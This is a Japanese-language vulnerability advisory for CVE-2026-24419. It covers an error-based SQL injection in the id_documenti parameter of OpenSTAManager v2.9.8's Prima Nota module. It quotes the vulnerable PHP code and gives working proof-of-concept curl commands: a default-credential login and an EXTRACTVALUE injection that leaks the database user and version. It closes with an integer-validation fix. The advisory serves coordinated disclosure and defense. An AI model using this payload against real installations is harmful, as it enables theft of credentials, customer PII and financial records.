
CVE-2026-24419 - OpenSTAManager の Prima Nota モジュールに SQLインジェクションが存在します。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-24419 |
| 深刻度 | HIGH |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
OpenSTAManager v2.9.8 の Prima Nota (仕訳) モジュールにおける重大なエラーベース SQL インジェクションの脆弱性により、認証された攻撃者が URL パラメータに悪意のある SQL を注入することで、XML エラーメッセージを介してユーザー資格情報、顧客の個人情報 (PII)、財務記録を含むデータベース全体の内容を抽出できる可能性があります。
ステータス: ✅ 実インスタンスで確認・テスト済み (v2.9.8)
脆弱なパラメータ: id_documenti (GET パラメータ)
影響を受けるエンドポイント: /modules/primanota/add.php
攻撃タイプ: エラーベース SQL インジェクション (IN 句)
OpenSTAManager v2.9.8 の Prima Nota (仕訳) モジュールの add.php ファイルには、重大なエラーベース SQL インジェクションの脆弱性が存在します。このアプリケーションは、GET パラメータからのカンマ区切り値が整数であることを SQL の IN() 句で使用する前に検証していないため、攻撃者が任意の SQL コマンドを注入し、XPATH エラーメッセージを介して機密データを抽出することが可能になります。
脆弱性の連鎖:
エントリポイント: /modules/primanota/add.php (63〜67行目)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
影響: get() 関数はユーザー制御の URL パラメータを取得し、explode(',', (string) ...) はカンマで分割しますが、要素が整数であることを保証する検証は一切ありません。
SQL インジェクション箇所: /modules/primanota/add.php (306行目)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
影響: $id_documenti の配列要素は、型検証や prepare() なしで implode() を使用して直接連結されるため、完全な SQL インジェクションが可能になります。
根本原因の分析:
この脆弱性は以下の理由で存在します:
get('id_documenti') がユーザー制御の文字列を返すexplode(',', (string) $value) はカンマで分割するが型を検証しないimplode(',', $array) は配列要素を SQL に直接連結する?id_documenti=1) AND EXTRACTVALUE(...) %23 を指定することで SQL を注入できる影響を受けるコードパス:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
ステップ 1: ログイン
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
ステップ 2: 脆弱性の確認 (エラーベース SQL インジェクション)
テスト 1: データベースのユーザーとバージョンを抽出
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
レスポンス (攻撃者に表示されるエラーメッセージ):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
Prima Nota (仕訳) モジュールにアクセスできるすべての認証済みユーザー。
主な修正 - 型検証:
ファイル: /modules/primanota/add.php
修正前 (脆弱 - 63〜67行目):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
修正後 (修正済み):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Łukasz Rybak によって発見されました
本 CVE は、coordinated vulnerability disclosure (調整された脆弱性の開示) の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御のみを目的としています。